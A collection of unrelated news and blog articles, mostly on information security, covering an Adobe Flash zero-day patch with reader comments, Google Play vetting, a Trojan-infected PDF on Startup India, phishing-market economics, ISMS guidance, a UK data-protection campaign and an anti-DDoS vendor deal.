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Adobe has released an emergency update for its Flash Player software that fixes three critical vulnerabilities, two of which the company warns are actively being exploited to compromise systems.
In an advisory, Adobe said two of the bugs quashed in this update (CVE-2013-0643 and CVE-2013-0648) are being used by attackers to target Firefox users. The company noted that the attacks are designed to trick users into clicking a link which redirects to a Web site serving malicious Flash content.
Readers can be forgiven for feeling patch fatigue with Flash: This is the third security update that Adobe has shipped for Flash in the last month. On Feb. 12, Adobe released a patch to plug at least 17 security holes in Flash. On Feb. 7, Adobe rushed out an update to fix two other flaws that attackers were already exploiting to break into vulnerable computers.
Updates are available for Windows, Mac and Linux installations of Flash (see the chart below for the appropriate version number). This link should tell you which version of Flash your browser has installed. The most recent versions are available from the Adobe download center, but beware potentially unwanted add-ons, like McAfee Security Scan). To avoid this, uncheck the pre-checked box before downloading, or grab your OS-specific Flash download from here.
Chrome and Internet Explorer 10 have built-in auto-update features that should bring Flash to the most recent version. The patched version of Flash for Chrome is 11.6.602.171, which Google appears to have already pushed out to Chrome useres. Windows users who browse the Web with anything other than Internet Explorer will need to apply this patch twice, once with IE and again using the alternative browser (Firefox, Opera, e.g.).
They do, the prior update preemptively patched 17 vulnerabilities that were not exploited in the wild. However due to the nature of zero days, you can’t catch them all.
Happens to the best companies, including Firefox, the last being the nobel peace prize zero day hack in 2010 that specifically targeted Firefox users.
On another note, wasn’t the Sandbox they introduced for Vista/Seven systems supposed to mitigate this kind of stuff? I read the security bulletins but they were vague, they just stated Windows, along with Mac and Linux without any specifics.
Secondly, how fast did they patch it? When were the exploits first reported? Firefox back in 2010 looked like they patched it in a day.
“This update resolves a permissions issue with the Flash Player Firefox sandbox (CVE-2013-0643). * “This update resolves a vulnerability in the ExternalInterface ActionScript feature, which can be exploited to execute malicious code (CVE-2013-0648). * “This update resolves a buffer overflow vulnerability in a Flash Player broker service, which can be used to execute malicious code (CVE-2013-0504). *
A good time to download the NoScript add-on for Firefox and start whitelisting frequently-visited (and legitimate) web sites for JavaScript and plug-ins.
* Vulnerabilities used in the exploit.
* The [privilege] broker service is associated with the Flash Player sandbox.
Sandboxing the browser as a whole could be worth it to the security-minded as well. Sandboxie is a well-known solution for Windows users. It’s free for non-business use, although their site states that it’ll give you nag screens after 30 days to remind you they’ve got a paid version with more features.
I’d also be interested to hear anyone’s results at forcing FireFox to run at Low integrity using icacls. Microsoft has a generic how-to here: http://msdn.microsoft.com/en-us/library/bb625960.aspx Maybe I’ll toy with it in a VM this weekend, as I have some idle Win7 licenses right now.
Good tip, thanks for the warning JimV.
The first news I got about this particular update was that my Win8 boxes at work had it queued up to install from Windows Update, since Flash is built into IE10 on Win8 systems.
For those who might like to tweak Group Policy on Windows systems, you can enable a setting in Computer Configuration > Administrative Templates > Windows Components > Windows Update named “Allow Automatic Updates immediate installation.” When enabled, this should allow systems to install non-disruptive updates on the spot, rather than waiting for the next designated installation time (e.g. 3AM). There’s also an “Automatic Updates detection frequency” setting in there.
Firefox and I believe other browsers have been HTML5 enabled for a few years now, just been waiting on sites to catch up – which they’re finally starting to. Some things like youtube have been html 5 for a while also (although occasionally I still find the odd video that won’t play, but not enough to say so). Even if you animate in flash you can always just upload the videos on youtube, which again, can be HTML 5. And if you do games, then just make your games downloadable. So, for us, I’d say we’re pretty much at the stage where we can live without it in our browsers. I might even uninstall after I type this and see what happens. If it works out, I’ll be plugin free.
For clients on the other hand then it becomes like Java for the odd thing that needs it. Or if they have kids, then games.
Well, if he’s using Firefox 19, they have a built in .pdf reader now (and I believe Chrome does too).
Adding to News Sites, streaming sites in general don’t work without flash (their chatboxes included). Official TV/Movie sites are also flash heavy, for example, “The Hobbit” almost works without it but uses flash for video. Others are just full blown sites in flash just to be flashy.
Personally I’m leaving it disabled, or maybe toggleable, or even using a secondary browser -anything but “always on”. I really like the idea of your main browser being a kind of tank with a mine roller. You could say “Well gee, Vee, isn’t that overkill if you have noscript?” and I don’t feel it is. Over the past few months I’ve either gotten rid of or disabled in browser Java, Adobe Reader and Shockwave. Flash is the last plugin standing.
While I agree news sites are a legit use of flash (until they do it without it), the Flash plugin has always just been mainly either advertising or entertainment. And how do you force people to dump flash when there’s just so many people plugging away at Facebook games like Farmville? Yeah, sure, some of the Facebook games are html 5, but surely not all of them. I don’t know, flash needs some really heavy white listing functions for the general users. Or maybe, again like Java, Adobe Flash stuff should be run outside of the browser somehow, using a sort of whitelisted flash viewer for all legit sites that use it. But, I’m dreaming here.
Thank you Old School and Vee; your input is fascinating. I’m glad the subject came up! Maybe plug-ins like this will be obsolete soon. I did read somewhere(probably here) – that Adobe will continue to support flash, but will code with HTML-5 and produce kits for developers along that line. That is what my foggy memory tells me anyway.
It was an article that supposedly rang the death knell for flash as an separate application.
Another follow up. I just read Firefox 20 might get H.264 support (I hope the new HEVC/H.265 comes soon after) and that might fix some of the video playback issues with Youtube, possibly even make some of those news sites work. Right now Firefox 19 relies on WebM.
Yeah, they’ve been screaming that HTML5 is a flash killer since it first appeared, but time will tell. Adobe is like Java, there’s a place for it if that place isn’t with a browser plugin. Their creative software, like Photoshop, Flash CS6 and Premiere Pro (video editor) are really good with their only drawback being their price.
And yeah, I’ve been enjoying swapping tips and feedback around here.
And then I found two more things that rely on Flash that don’t have a workaround unless you use a secondary browser. First is Google Street View relies on it. Second is “Videos with ads are not supported (they will play in the Flash player)” with Youtube, but hopefully long term they’ll fix that.
Until Firefox does something similar like IE 10’s Flash whitelist, I’m leaving it disabled.
“This feature is enabled by default, so users are automatically protected. For the adventurous, the about:config preference “plugins.click_to_play” can be set to true to enable click-to-play for all plugins, not just out-of-date ones. However, this aspect of the feature is still in development”
So I’m doing that. Flash enabled again, but leashed.
I am glad that you finding EMET useful. It is a great tool that does not always receive the attention it deserves.
If you are using EMET and have applied the All.xml protection profile located at either of the file paths below and as described in the short Microsoft video linked to below, you have already protected the Flash add-in using EMET:
I am glad to hear that Internet Explorer is working fine with EMET, it can be tricky to achieve sometimes.
EMET 3.5 adds 5 more mitigations to the existing 7 that are specifically designed to defend against exploits that make use of Return Oriented Programming (ROP) e.g. the exploit for the recent Adobe Reader XI 11.0.01 flaw and the Internet Explorer 6 – 8 flaw from January.
EMET 3.5 is not perfect yet e.g. it has a known issues when all ROP mitigations are enabled for the Snipping Tool (of Windows Vista and later) when it is used to take a screenshot of Internet Explorer. My thanks to mechBgon for his useful workaround of this issue:
My concern is that there were beta versions of EMET 3.0 last year and I was not aware of them i.e. I didn’t know they were available at the time and didn’t know where to download them from. I hope this year’s betas are more widely publicized.
A video of EMET 3.5 new capabilities is available from the following link:
Brian – I think fatigue is an understatement…I spent over an hour at home trying to patch my browsers last week and there is still an adobe reader patch that the Qualys browser check flagged as unpatched, even after multiple applications of the patch / reboots, etc. I’m a risk / security professional and I can barely get it done or keep up. I’ve checked auto update in the browsers for the different products and this doesn’t seem to be getting the job done. Couple of questions:
1. How is the average user without a security hat on ever supposed to keep a system patched and up to date if the auto updates do not always work / turned on by default?
2. I don’t use IE often, but some govt. sites won’t render correctly without IE / Silverlight, etc… Q. If I never used IE, would I still need to patch it because while browsing with a fully patched Firefox browser, potentially a driveby download malware version could detect IE (even though not currently open) on the OS and use this as a vector to root the box?
3. How does malware like Zeus, etc. open a browser without the end user seeing it? What is the technical name for this ‘hidden browser’ so I can do more research?
This is a problem I come across a lot as well…
Good security design says not to let end users run as admins – so when programs can’t update themselves there is often nobody else around to do it for them…
Trying out Secunia PSI/CSI to see if it can resolve, I think there are a lot of corporate machines prone to this issue.
I’ve tried Secunia PSI on limited accounts and sometimes it works and when it doesn’t it at least lets you know with a popup that you need to do a manual update. I am using it on Vista Premium x64 to fairly good affect.
However I think Adobe’s auto updater did this last one, because it happened the day it came out; Secunia used to be 5 days behind. I never had to log in as administrator to get it to update – it didn’t alert me to the update either. I just look at the program version list in CCleaner to keep an eye on version information, and track it that way.
In the recent past, I’ve logged into the Administrator account and saw File Hippo suddenly report that a flash update was no longer needed – this because Adobe’s auto updater beat it to the punch a few seconds early during the log on process. I don’t know why it works seamlessly one day and not the next – but I’ll take what I can get. It definitely makes for a better security silhouette than the way I had to operate in the past. Zero day exploits will be harder to come by for the criminals in these instances.
So you could always try scrubbing it off your system and install the latest version fresh.
I’ll try to answer your other questions too best I can.
1. Well, one could say the same about car upkeep. You either learn it yourself or hope you know someone that knows about it. Which isn’t saying software giants should be excused from sloppy update methods, but how many of us can say we’ve never had a Windows Update go wrong? I’ve also said on here before I’d rather see Windows do a Linux way of updating all software installed, but I’ve had Linux updates go wrong too. That’s why I usually disable automatic updates on my own machine (but keep alerts on). When I can, I opt for clean install of software rather than installing over or patching to avoid issues. Pick your battles sort of thing.
2. Yes, you should always keep up on IE updates. IE has always been so tightly woven into Windows you can’t really remove it. If you can’t remove something, then you have to update it.
“Q. If I never used IE, would I still need to patch it ”
Yes. Some of its components could be called by other software, such as Office. I recently read a malware writeup (don’t remember which one, sorry) where this was the case.
In the big picture, you’re pointing out the difficulty of keeping everything up-to-date, particularly from a low-rights account. IE being a Windows component, it’s seldom an offender in that area. Ditto for the PDF reader and Flash Player on Win8. When I was convincing my boss to get the special-price $40 Win8 Pro upgrades for our SOHO environment, that was one of my arguments: the less time I have to spend updating PDF readers and Flash Player, the more time I can spend doing “the day job,” at a shop rate of $60/hour. The upgrades pay back their up-front cost in months just on that basis alone.
Thx all for the feedback and recommendations. I’ll take a closure look at Secunia and the other suggestions. I normally run as non privileged user..only logging in as admin when required or to do installs.
!BTW..can anyone answer my question #3? thx!
As far a Zeus goes; I’d be more worried that they can ride your SSL session into the bank site when you log in. After that – they pretty much got complete control of your finances. That is – if your bank allows that sort of thing off the internet!
Mine doesn’t – you have to show up physically at the bank with the account number of your payee or vendor, before they will vouch for an electronic transfer. | https://krebsonsecurity.com/2013/02/flash-player-update-fixes-zero-day-flaws/ |
Tyco International announced the acquisition of the assets of IntelliVid, a leading developer of retail-focused intelligent video analysis solutions to add to its American Dynamics portfolio of video security technologies. Since 2003, privately-held IntelliVid has provided its retail customers with business intelligence applications that utilize video analytics for loss prevention, customer safety, compliance, and merchandising.
“We are continuing to invest in our American Dynamics brand of video solutions through R&D and acquisitions. We are pleased to add IntelliVid’s advanced video analytics, which should significantly improve our offering to key markets, including retail,” said Don Lyman, vice president and general manager of Tyco International’s access control and video systems business unit.
The acquired assets include IntelliVid’s complete line of Video Investigator® solutions, Point of Sale (POS) Accelerators, and Computer Aided Tracking software. The new solutions will leverage American Dynamics VideoEdge® technologies, allowing recorded video to be used for real-time and forensic theft prevention and store intelligence solutions. Future releases will include integration with Intellex® digital video management systems.
Video Investigator refines large amounts of video into key streams of information that allows real-time response to critical situations and forensic investigations. Integrated with POS transaction data, the video can be used to effectively capture illicit behaviors that can result in loss of profits. Used as a sales and marketing tool, the video can also capture pertinent consumer shopping patterns and behaviors providing retailers with information to analyze for strategic planning.
“IntelliVid’s patented technology complements our existing portfolio of high-performing video solutions and allows us to quickly deliver effective video analysis solutions to the market," said Chuck Hutzler, vice president of R&D for American Dynamics solutions. “Our retail customers should realize significant return on investment by transforming video technology into useful operational information.”
B. Monitoring employees’ temperatures
C. Plexi-glass dividers between workstations
D. 6-foot social distancing markers on floors
E. Increased building disinfecting
F. Continued remote work for employees | https://www.securitymagazine.com/blogs/14-security-blog/post/79355-tyco-acquisition-of-intellivid-1?v=preview |
Microsoft quietly updated Outlook for iOS on Wednesday, with support for a calendar widget that makes it easy to see your schedule at a glance.
Using the widget, users can pull down on their iPhone or iPad's Notification Center, and get a quick look at the remaining events in their calendar for a given day, in the order they'll occur. The widget looks nearly identical to the one in the Sunrise calendar app, which Microsoft acquired last year as part of a string of deals aimed at improving Outlook. It will eventually shut that app down.
Events will have their locations listed, along with headshots of attendees, assuming that information is available. As an event draws near, the widget highlights how much time remains before it starts.
All-day events get a section of the widget all to themselves, below the scheduled events a user has on their calendar.
There's a big plus-sign button in the upper-right corner of the widget that lets them add a new event to their calendar, too. Tapping on an event will bring users to the page inside Outlook for iOS with the full details for the event in question.
It's a good way for users to get a handle on what their schedules look like while they're out on the go. Today widgets were first added in iOS 8, and they're designed to give people a quick look at key information, like their calendar.
The new feature should be something of a comfort for Sunrise users who are worried about losing features from the popular calendar app. Microsoft hasn't said exactly when it plans to end support for the app it acquired last year, but the company has put Sunrise users on notice that it will leave the market after its features get "fully integrated" into Outlook. | https://www.cio.com.au/article/592960/outlook-ios-gets-calendar-widget-sunrise-sunset-looms/ |
In an attempt to thwart Android developers who are set to distribute malicious apps through Google Play, Google will be taking more time when reviewing apps by developers with newly minted accounts.
This reviewing process will take days, not weeks, Google assures, and should allow them to do more thorough checks before approving apps to be featured in the store.
Sameer Samat, VP of Product Management, Android & Google Play, also says that they know that some developer accounts might have been or might be suspended in error, but claims that 99%+ of these suspension decisions are correct.
“While the vast majority of developers on Android are well-meaning, some accounts are suspended for serious, repeated violation of policies that protect our shared users. Bad-faith developers often try to get around this by opening new accounts or using other developers’ existing accounts to publish unsafe apps,” he explained.
“While we strive for openness wherever possible, in order to prevent bad-faith developers from gaming our systems and putting our users at risk in the process, we can’t always share the reasons we’ve concluded that one account is related to another.”
Well-intentioned developers whose account has been flagged and suspended can always appeal the decision and, Samat promises, the appeal will be reviewed by a person, i.e., it’s not an automated process.
He also says that they’ll improve their communication with developers when it comes to rejections of apps due to specific policies and make their review and appeals process speedier as, among other things, they are expanding their evaluation and appeals review team.
A new permissions model
When announcing the changes planned for the upcoming Android Q, Google has delineated a number of changes that are aimed at improving users’ privacy.
Changes will be made to the permissions model and Google has rolled out guidance for each of the (potentially dangerous) Android runtime permissions, so that developers can get their apps in line with the new requirements.
“To better protect sensitive user data available through these permissions, we restricted access to select use cases, such as when an app has been chosen by the user to be their default text message app,” Samat explained.
“We understood that some app features using this data would no longer be allowed — including features that many users found valuable — and worked with you on alternatives where possible. As a result, today, the number of apps with access to this sensitive information has decreased by more than 98%. The vast majority of these were able to switch to an alternative or eliminate minor functionality.” | https://www.helpnetsecurity.com/2019/04/19/google-play-protection/ |
UPDATE MAY 10 2018: The immigration exemption has NOT been removed from the Data Protection Bill. Thank you to all our members and supporters who emailed their MPs urging them to remove the exemption.
While we are disappointed, the fight isn't over – we'll keep going until we stop the Home Office hoovering up data from schools, hospitals and other vital services.
Despite this set back, Liberty welcomes the Government announcement – from the same parliamentary debate – that it is suspending the memorandum of understanding that allows NHS Digital to share patients’ data with the Home Office for immigration enforcement purposes.
The Government’s Data Protection Bill is supposed to give us more control over our personal information.
But buried in the draft law are a few words that could strip millions of us of our rights.
It includes an ‘immigration exemption’ giving the Government the power to remove data protection rights from anyone whose details are processed for “effective immigration control”.
Not only will this create a two-tier data rights regime giving migrants fewer privacy rights than British citizens, but it’s so vaguely drafted it could leave us all worse off.
Together we can stop this happening.
When the Data Protection Act 1984 was passing through Parliament it contained a nearly identical clause. It was widely and rightly condemned and never became law.
This is just as oppressive, unwanted and unnecessary in 2018 as it was then.
If MPs let this become law, they’ll turn the clock back on decades of progress in protecting our privacy and human rights.
Tell your MP to stand up for our rights and remove this clause from the Data Protection Bill.
We all have the right to know how our personal information’s being used. And data given for one purpose can’t be used for another purpose without our consent. These are two of the cardinal principles of data protection.
This exemption undermines those principles completely.
“Effective immigration control” is such a vague definition that it’s impossible to know just how many of us will fall foul of this loophole.
If the immigration exemption gets through Parliament, any agency handling our data for immigration purposes – including private companies like G4S – will no longer be required to protect our personal information.
We’ll lose our right to know what information they have on us, who’s looking at it and why.
We won’t be able to erase any of that information or object to it being used for a new purpose – even though lots of data held on us is out of date or simply wrong.
It could make it much easier for Government departments to share our details with other departments or private companies without our knowledge – let alone our consent. The Home Office could decide that sharing sensitive information to check everybody’s entitlement to healthcare, education or social housing was necessary for “effective immigration control”, for example.
It could also stop people finding out what information the Home Office holds about them – a right that’s vital for solicitors working to help people regularise their immigration status.
Giving the Home Office the power to decide when people can access their own information is a full-frontal attack on migrants’ right to access justice.
Since 2010, the Government has waged a vicious battle on the human rights of undocumented people in the UK through a set of policies known as the ‘hostile environment’.
Frontline agencies secretly sharing people’s personal information with the Home Office has become the cornerstone of this brutal approach.
Liberty, investigative journalists and others have exposed secret deals between the Home Office and the Department of Health, Department for Education and the Greater London Authority – all set up to aid immigration enforcement, with no public consultation or parliamentary scrutiny.
The Home Office is a notoriously poor data controller – which makes this all the more disturbing.
A 2016 investigation by the Chief Inspector of Borders and Immigration found that, of a sample of 169 refusals to open bank accounts, 10 per cent were wrongly refused on grounds that people didn’t have leave to remain in the UK. Some had been in the UK lawfully for more than a decade.
Already people are avoiding seeking help because they fear being removed from the UK.
Schools are becoming a hostile environment for children. Ill people are dying because they are too scared to visit hospitals.
A woman who had reported being kidnapped and raped was recently arrested on immigration charges while being cared for at a centre for sexual assault victims.
The Data Protection Bill’s immigration loophole would give the Government free rein to further undermine the walls keeping immigration enforcement out of our trusted frontline services – extending this regime of suffering and fear.
Together we can stop this. Tell your MP to scrap the immigration exemption today. | https://www.libertyhumanrights.org.uk/defend-our-data-protection-rights |
Surya Pratap Singh is a student of B.Tech. Computer Science, director of Aezowie Infotech Services and a security analyst
I was recently analysing the Indian government website startupindia.gov.in after recently gaining recognition from Startup India for my new company. I was keen to know more about the trademark registration process, and after seeing the unusual reaction of my anti-virus for a certain file on their website, I decided to explore more.
Specifically, I found a critical security problem in that website which he wanted to explore more: one of the website’s PDF files was infected by a Trojan in the Information page of the website. In order to be sure, I checked that PDF file against many anti-virus programs and ran it through VirusTotal, and these showed that the file contained a Trojan virus (maybe the urlmal Trojan).
This type of virus is generally used to control and steal sensitive information from a user’s systems. Thus, the systems of many users who downloaded this file from the website were at risk.
From my point of view, that pdf file was probably uploaded to Startup India website without doing any security check or scanning and it may have been infected through a Heap Spraying technique or urlmal Trojan. I suspect this was the case as files can ‘go bad’, rather than it being uploaded by an attacker.
If this file had existed longer on the official Startup India website for downloading then it would be unsafe, it is also not good for Startup India website because very soon anti-viruses would blacklist that URL.
I determined that the file had been there for five days, however both CERT-India and the Startup India team have said that they are in the process of dealing with this.
“Hello Mr Surya Pratap, Appreciating your interest in Indian Cyber space. We are in the process of dealing with this.” CERT-India
“Thank you for bringing a problem to our notice. We have forwarded this to the concerned department.” Startup India Team
In order to better understand this issue, I have created a video of my findings, which I hope will help people understand this issue and help other organizations fix similar issues on their websites and until then, people will not download that file from the official Startup India government website.
In reporting this, I did find that the Indian government was very good at handling these type of issues and protecting people. Now they also need to make people aware about cybersecurity. | https://www.infosecurity-magazine.com/next-gen-infosec/pdf-trojan-startup-india/ |
Phishers use Internet chat to communicate with each other and buy and sell victims' financial information.
The economics of phishing is free market theories in action -- pure supply and demand -- a researcher said Friday in explaining his recently-released paper about the inner workings of Internet scammers.
"Phishing economies are self-organized merchants and consumers governed only by the laws of supply and demand," said Christopher Abad, a research scientist with Cloudmark, a San Francisco-based spam filtering service provider.
Abad probed the inner workings of phishers by analyzing hundreds of thousands of messages collected from 13 key phishing-related chat rooms and several thousand compromised computers used to run bots as well as host the bogus Web sites that phishers use to trick users into divulging confidential data, such as bank and credit card account information.
Phishers rely on the same chat infrastructure that spawned large numbers of denial-of-service (DoS) attacks years earlier, said Abad, because it was familiar to those inclined to phish for profit and they knew they could harness its power with automated bot programs to handle chores.
While chat is the way that phishers communicate and cooperate, bring newcomers into the fold, and sell the information they acquire, it's not possible to stop the thieves there, said Abad.
"That would be a fruitless task because there are so many areas for them to migrate to. It's the same problem as defeating a computer virus; unless you do a thorough job of stamping it out and preventing its infrastructure from rebuilding, you never quite get rid of it."
Abad's analysis of the chat side of phishing also invalidated the theory of some analysts that there are organized gangs, perhaps composed of organized crime elements, that have a top-to-bottom, soup-to-nuts control over all aspects of a phishing campaign.
"Phishers are very loosely-affiliated people," he said. "That's the nature of the system. I tried to validate those claims [of gangs] which are usually just second- or third-hand accounts. The Shadowcrew, for instance, wasn't really a centrally-organized ring like some people thought. It's just a bulletin board system that a number of phishing participants used to communicate with each other."
Nor are those who collect the information the ones who end up cashing in on the data. "They're two entirely separate groups," Abad said. "One is the consumer of the other."
Those who reap the harvest, so to speak, of phishing and other identity thievery, buy information in bulk, sometimes for as little as 50 cents per record, other times for as much as $100, then encode magnetic cards that can be used to pull money out of bank or credit card accounts at ATMs.
"That's a very direct path toward getting money," said Abad, "and much less time-consuming than, say, targeting PayPal or eBay. "Cashers," as Abad labels them, take a split of the money they pull out -- as much as 70 percent -- then send the remainder to the credential supplier, the phisher who obtained the account information. The money is often wired over Western Union, said Abad, to the phisher, because it's available internationally and there's "relative anonymity for the pick-up party."
Cashers specialize in working certain banks and even working certain account number groups at a bank. It's all about what banks they've managed to crack ATM codes for.
During the time he spent analyzing phishing, Abad went on, he noticed that some banks were being hit harder than others. "It's no surprise that Washington Mutual, Key Bank, and various other institutions are at the top of the phishers' lists," he said. "The tracking algorithms for these institutions are easily obtained from within the phishing economy, while Bank of America, a huge financial institution, is nearly off phishers' radar because its encoding algorithm is very hard to obtain or crack.
Since he started, banks such as Washington Mutual have beefed up their encoding algorithms, and have seen phishing damages drop dramatically.
In fact, phishers are starting to wean themselves off banks because the targets have been substantially hardened, making them tougher to milk for cash. Instead, they're returning to "soft financial" targets like eBay and PayPal, services and sites that were at the top of the hit list a year or more ago.
"Banks were able to correct their problem with phishers," said Abad, "but now clearly the phishers are going after other vectors and targets." Money transfer services are also a developing target for phishers, he added.
"The ubiquity of the technology necessary to phish -- from chat rooms and mass mailing of e-mail to compromised host machines -- means that it's impossible to stamp out," said Abad.
The only solution, he thinks, is for everyone to have a solid anti-spam defense in place.
"We're stopping basically everything [that's spam]" said Abad. "We're stopping about everything that we can. I don't see anti-spam getting much better. The problem is deployment. More people need to be using it. If there's only 2 percent of the population using an anti-spam solution, that means 98 percent can be victims.
"Phishers are exploiting the average joe," he concluded.
And until the average joe gets the message, phishers will laugh all the way to the bank.
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If you start making forays into the world of information security and management systems, you will quickly stumble across the term ‘ISMS’. An ISMS, or information security management system, is a defined, documented management system that consists of a set of policies, processes, and systems to manage risks to organizational data, with the objective of ensuring acceptable levels of information security risk.
By designing, implementing, managing, and maintaining an ISMS, an organization is able to protect its confidential, personal, and sensitive data from being leaked, damaged, destroyed, or exposed to harmful elements. The point of an ISMS is to proactively limit the impact of a data security breach.
The ISMS is relevant for a defined organization or business unit that falls within the scope of the ISMS.
Implementing an ISMS
There are numerous ways of approaching the implementation of an ISMS. The most common method to follow is a ‘Plan Do Check Act’ process. The international standard detailing the requirements for implementing an ISMS, ISO 27001, along with the best-practice guidelines contained in ISO 27002, serve as two excellent guides to get you started with implementing an ISMS. A certified ISMS, independently audited by an approved certification body, can serve as the necessary reassurance to customers and potential clients that the organization has taken the necessary steps to protect their personal and confidential data from a range of identified risks.
The strength of an ISMS is based on the robustness of the information security risk assessment, which is key to any implementation. The ability to recognize the full range of risks that the organization and its data may face in the foreseeable future is a precursor to implementing the necessary mitigating measures (known as ‘controls’).
ISO 27001 provides a list of recommended controls that can serve as a checklist to assess whether you have taken into consideration all the controls necessary for legislative, business, contractual, or regulatory purposes.
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Another essential resource that comes in pretty handy when implementing an ISMS is an ISMS documentation toolkit, which does exactly what it says on the tin: it provides you with a set of customizable and editable documentation templates, processes, and policies, also aligned to ISO 27001, that will eliminate the need for starting the process from scratch.
If you want to do a bit of reading before embarking on a full-scale ISMS implementation, you can download one of our free ISO27001-related resources, which will give you all the information you need to make a decision.
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“rebalance the responsibility to defend cyberspace by shifting more of the burden for cybersecurity onto the organizations that are most capable and best-positioned to reduce risks for all of us.” and “realign incentives to favor long-term investments by striking a careful balance between defending ourselves against urgent threats today and simultaneously strategically planning for and investing in a resilient future.”
The White House is calling on large enterprises and cloud service providers to further strengthen their cybersecurity defenses since they have comparably greater resources and house the majority of our nations data. This shifts some burden away from individuals and smaller companies.
While some SMB owners may perceive this effort will reduce their need to strengthen their cybersecurity program, a close read of the strategy indicates all federal agencies and their suppliers must do more to bring about a defensible, resilient digital ecosystem for the nation. Therefore, it’s time to evaluate your program and establish a plan to fill gaps and make improvements. Starting with a cybersecurity maturity assessment is the way to go! | https://www.axiotrop.com/post/implications-of-the-national-cybersecurity-strategy-for-smb-s |
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By Nicholas D. Evans, Contributing writer, CIO Nov 15, 2013 3:30 am PST
It may come as no surprise that one of many challenges with innovation in large organizations is in successful execution. There’s often no shortage of ideas, but the optimal alignment of organizational funding, processes and structures necessary for translating these ideas into a steady pipeline of new products or services is often a significant management challenge.
One of the well-known barriers to successful and continuous innovation over time is the innovator’s dilemma. Basically, “successful companies can put too much emphasis on customers’ current needs, and fail to adopt new technology or business models that will meet customers’ unstated or future needs.”
The various options include 1) specialized departments (e.g. traditional R&D departments, incubators and corporate venture groups); 2) the formation of dedicated business units around distinct growth horizons (e.g. the three horizons framework featured in The Alchemy of Growth), 3) creating hybrid models where innovation is collaboratively managed by multiple departments, or 4) simply keeping innovation within the purview of individual business units.
In terms of growth horizons these are usually described as horizon 1 (core products and services typically comprising 70% of the company’s annual investment), horizon 2 (emerging businesses and adjacencies typically comprising 20% of the company’s annual investment), and horizon 3 (new, transformational initiatives and “viable options” typically comprising 10% of the company’s annual investment).
As I mentioned in an earlier article on investing for transformation, HBR points out that the ultimate financial returns are typically the inverse of the spend allocations — that is to say, 70% of the returns come from the transformational initiatives and only 10% from the core.
All of these choices for where to place “innovation” within the business have pros and cons…
Specialized Departments – The R&D department, incubators, and corporate venture groups, by their nature, are free to concentrate heavily on innovation, but have to ensure a successful transition of innovations into the business units and ensure they are aligned with company strategy and not too far ahead of market needs where they may miss horizon 2 opportunities which lie between the company’s current offerings and the more distant horizon 3 opportunities.
Growth Horizon-Oriented Business Units – Business units or departments formed around distinct growth horizons are well equipped to simultaneously address all three horizons, but must ensure they can either execute (i.e. take these products and services to market) effectively themselves and, additionally, know how and when to transition their offerings to the next horizon (i.e. business unit or department) as the market and the technologies mature. In terms of their focus on specific technologies, these business units, aligned with each of the three growth horizons, line up very nicely with the three waves of disruptive trends I wrote about in my recent blog.
Hybrid Models for Innovation – Hybrid models where innovation is collaboratively managed by multiple departments leverage the collective knowledge of large virtual teams, but require considerable cross business unit and cross departmental coordination to share and develop ideas and to stay aligned in terms of integrated plans and execution.
Innovation within existing Business Units – Finally, models where innovation is kept within the purview of individual business units require less coordination, but are often challenged by incremental innovation that’s too heavily influenced by the current products and services. They typically have a solid handle on horizons 1 and 2, but not necessarily horizon 3, unless they have a specialized department focused on innovation housed within each business unit.
Conclusions
Regardless of which organizational model you choose, the key is to ensure you focus on all three growth horizons in order to create a steady pipeline of new products or services that’s influenced and supported by both incremental and disruptive innovation.
Of course, open innovation is another tactic you can apply and introduce to any of these organizational models. In fact, a recent PwC survey found that the majority of C-suite respondents (32%) felt that open innovation was the best approach in terms of leading to innovations that would drive the most growth for their companies.
A key element in all of these models is highly effective collaboration across organizational boundaries so that all elements of the innovation pipeline, from ideas to execution, can flow smoothly and achieve the business outcomes your organization strives to achieve.
In terms of the role of the CIO, with IT becoming more and more an intrinsic part of an organization’s market-facing products and services, and with organizations looking for internal innovation across all elements of their operations (i.e. pulling as many value levers as possible), you can play a key role in helping solve this innovation paradox, connecting innovation with execution, and ensuring innovation aspirations achieve their intended outcomes.
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NSFOCUS, an award-winning global provider of intelligent hybrid security solutions, today announced that Malaysian web hosting provider, IP ServerOne, has selected NSFOCUS Threat Intelligence (TI) and NSFOCUS Anti-DDoS System (ADS) to deliver dynamic inbound and outbound distributed denial of service (DDoS) mitigation for their customers.
NSFOCUS TI data feeds provides wide-ranging visibility into the global threat landscape; particularly cyberattacks from North Asia and China, where as much as 40% of the world’s hacking activity orginates. The TI data feeds integrate directly into the NSFOCUS’ ADS, delivering a differentiated best-of-security combination that helps to elevate the proactive capabilities of detecting and protecting IPServerOne customers – and Malaysia as a whole.
“Malaysia is on the cusp of transforming into a truly digital economy. Uninterrupted access to the Internet and other digital services is critical, especially to Malaysian enterprises and organisations that are delivering online and electronic commerce services. For e-government, online, and e-commerce organisations, a coordinated DDoS disruption can be catastrophic and severely impact the national economy,” said Attley Ng, Senior Vice President, Asia Pacific, at NSFOCUS.
As Malaysia’s digital adoption rates grow unabated, aided by increased connectivity and mobility solutions, analysts and market watchers have noted a significant increase in the number and frequency of DDoS attacks targeting Malaysian organisations. With 55% of these attacks targeting online services and gaming companies, and another 25% targeting the software and technology industry, these attacks can be debilitating and extremely disruptive to the economic growth of Malaysia.
“Cyber threats and threat actors are no longer limited by border boundaries and legislation. We find that Malaysian enterprises are increasingly targeted, and as more organisations embrace the digital business, it is imperative that they are protected. As a critical service provider, we must be able to protect our customers’ valuable data assets and livelihood,” explained Lee Cheung Loong, CEO and Founder of IP ServerOne. “With NSFOCUS, we’re confident in our ability to ensure the security and stability of our customers’ business without network disruptions.”
According to statistics provided by MyCERT (Malaysia Computer Emergency Response Team), over 2.7 million botnet drones and malware infection attacks were recorded last year. More than 9,000 cyber security incidents were also reported by Malaysian enterprises last year. This includes DDoS attacks, malicious code, fraud, and cyber harassment; all of which have caused significant disruption to Malaysian businesses.
“As an online gaming publisher, users’ experience is of the utmost importance. We simply cannot afford to have a network disruption across our websites or game servers,” said Chua Wee Yee, Executive Director of CiB Net Station Sdn Bhd, a customer of IP ServerOne. “Having experienced the crippling power of a DDoS attack, we are delighted that IP ServerOne has taken the necessary steps to ensure our protection and stability.” CiB Net Station Sdn Bhd is a subsidiary of Asiasoft Corporation Public Company Limited, a leading online game publisher in South East Asia.
The NSFOCUS ADS is a custom-built technology that inspects network traffic, detects DDoS attacks, and intelligently mitigates them without affecting legitimate traffic. With the ability to consume real-time threat intelligence from NSFOCUS, it provides an added layer of protection beyond DDoS mitigation. As a result, the ADS automatically provides 24×7 business continuity and maintains the highest level of service availability.
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Immediate steps to take to reduce mortgage fraud.
